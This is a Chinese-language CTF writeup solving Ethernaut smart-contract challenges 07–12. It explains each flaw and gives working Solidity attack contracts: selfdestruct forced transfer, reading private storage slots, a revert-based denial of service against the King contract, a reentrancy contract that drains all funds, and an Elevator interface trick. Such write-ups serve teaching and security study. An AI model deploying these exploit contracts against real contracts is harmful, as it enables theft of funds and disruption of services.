Ethernaut区块链安全闯关07-12writeup

07 Force

这题要求合约的余额大于0,合约如下:

1
2
3
4
5
6
7
8
9
10
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/ }

合约只有注释,是个空的合约。因为没有fallback payable或者receive函数,所以直接转账肯定会失败;

这里只有一种强制转账的办法,就是selfdestruct,因为自毁转账是无法被阻止的,所以只要先在智能合约里面充余额,然后调用自毁,就能确保转账成功。

1
2
3
4
5
6
7
8
9
10
11
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.11;
contract self_destruct {
address payable ins_addr;
constructor(address payable _ins_addr) public payable {
ins_addr=_ins_addr;
}
function destroy() public{
selfdestruct(ins_addr);
}
}

知识点:selfdestruct合约自毁与强制转账

08 Vault

这题的要求是赛博撬保险箱,也就是把通过输密码把locked变成false。

合约如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

看源码,发现只要我们输入的密码正确就行。问题是password被设置为private,无法被外部合约调用或者通过合约abi访问,怎么办呢?

这里就涉及到solidity的变量储存机制了,变量是根据声明顺序依次储存在storage 0、storage 1、storage 2 ……并且可以用web3.js的getStorageAt方法访问。password是storage 1,因此这里直接

1
web3.eth.getStorageAt(instance,1)

最后获得密码后unlock函数就行。

所以实际上来说,private并不保险,只是防止其他合约或者被合约abi调用罢了,但本身的内容是可知的。

知识点:getStorageAt方法、solidity变量储存方法

09 King

这题是一个类似庞氏骗局的小游戏,初始化国王为关卡地址,然后设置一个prize值,然后转账数量高于prize的,可以成为国王,但是转账要给上一个国王,在此之后国王和prize值都会更新。题目的要求是,要成为国王,并且在提交实例关卡会转账大于玩家prize数量的ether重新获取国王,玩家则需要阻止这一过程的发生。智能合约源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
address king;
uint256 public prize;
address public owner;

constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

查看其prize值,发现是1000000000000000Wei。所以我们的思路是先转账成为King,然后利用回滚函数revert()使得关卡在重新夺回King的时候交易回滚导致失败,保持我们的King地位。同时还要注意,接受转账的receive存在修改状态的复杂操作(或者调用其他合约也算),所以转账用send和transfer,由于其固定燃料为2300Gas,在本题会存在燃料不足导致交易失败的情况,所以这里应该用call方法来转账。总的合约如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Ponzi{
address payable original_king;
constructor(address payable _original_king) public payable {
original_king=_original_king;
}
function take_power() public{
original_king.call{value:0.002 ether,gas:200000}("");
}
receive() external payable {
revert();
}
}

部署前存入足够的ether,然后获取King身份,最后提交实例即可。

知识点:回滚函数;send/transfer/call转账的区别与操作方法

10 Re-entrancy

本关考察著名的重入漏洞,这题的要求是要偷走合约的所有资产。智能合约如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Reentrance {
using SafeMath for uint256;

mapping(address => uint256) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}

function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

源码中除了donate函数,还有一个查看余额用的函数balanceOf和提现用的函数withdraw,观察withdraw函数,发现它是先检测数组里用户的余额够不够转账,余额足够就先转账再改变余额,这里存在典型的重入漏洞。具体来说,合约作为一个账户,所有人存入的虚拟币都是在集中起来的,只是每个人都有自己的额度以实现银行功能,换句话说,实际资金和用户的额度是分离的。重入漏洞则可以突破这个额度限制,在把自己的额度转光之后继续转走其他用户的额度,最终抽干合约的资金。具体攻击合约如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface target {
function withdraw(uint256 _amount) external;
}
contract ReEntrance{
address Instance_addr;
uint256 money;
constructor(address _Instance_addr, uint256 _money){
Instance_addr=_Instance_addr;
money=_money;
}
function reentrance() public{
target(Instance_addr).withdraw(money);
}
receive() external payable {
if(address(Instance_addr).balance>=money){
target(Instance_addr).withdraw(money);
}
else{
target(Instance_addr).withdraw(address(Instance_addr).balance);
}
}
}

首先部署合约,然后根据攻击合约地址转账,这样攻击合约有了自己的“额度”,就可以开始提款操作,直接调用reentrance函数提款即可。

知识点:重入漏洞

11 Elevator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
bool public top;
uint256 public floor;

function goTo(uint256 _floor) public {
Building building = Building(msg.sender);

if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

本关需要把top的布尔值变成True,也就是使得电梯到达顶层。

分析合约,发现接口调用了一个isLastFloor函数,而在函数goTo里面接口指向msg.sender,也就是isLastFloor函数必须出现在我们的智能合约中,接着必须是isLastFloor返回false才能通过条件,但此时top仍然为false,达不到到达顶层的要求。所以我们必须写一个isLastFloor函数使得第一次调用为false,第二次调用为·True。最后整体的智能合约如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface elevator_up {
function goTo(uint256 _floor) external;
}
contract top_floor{
address instance_addr;
bool magic=true;
constructor (address _instance_addr) {
instance_addr=_instance_addr;
}
function isLastFloor(uint256) public returns (bool){
magic=!magic;
return magic;
}
function interface_controller() public{
elevator_up(instance_addr).goTo(1);
}
}

12 Privacy

这关考察的仍然是变量储存原理,跟vault那关有点像,但是它继续深挖了solidity变量储存的细节情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;

constructor(bytes32[3] memory _data) {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

题目要求很明显,还是将locked变成false;

分析合约源码,一共六个变量,根据storage储存槽的的储存机制,每一个储存槽大小为32bytes,展示为64位的hex,两位的hex为一个字节。储存槽按顺序储存变量,并且将不满32字节的变量按声明顺序放在一个储存槽里,所以,考虑到第二个变量uint256(32字节)一定独占一个储存槽1,那么locked独占储存槽0,剩下flattening,denomination,awkwardness分别为1,1,2bytes,所以三个变量和占一个储存槽2;数组是按数组内变量顺序来占储存槽,由于data是bytes32数组,data[0]、[1]、[2]各自占一个储存槽3、4、5;

现在知道data[2]占储存槽5,那么可以直接web3.eth.getStoargeAt(instance,5)获得data[2],bytes32→bytes16取高位,就是前半段,然后unlock即可,注意uint大转小是取低位。

知识点:数据类型,强制转换,变量储存原理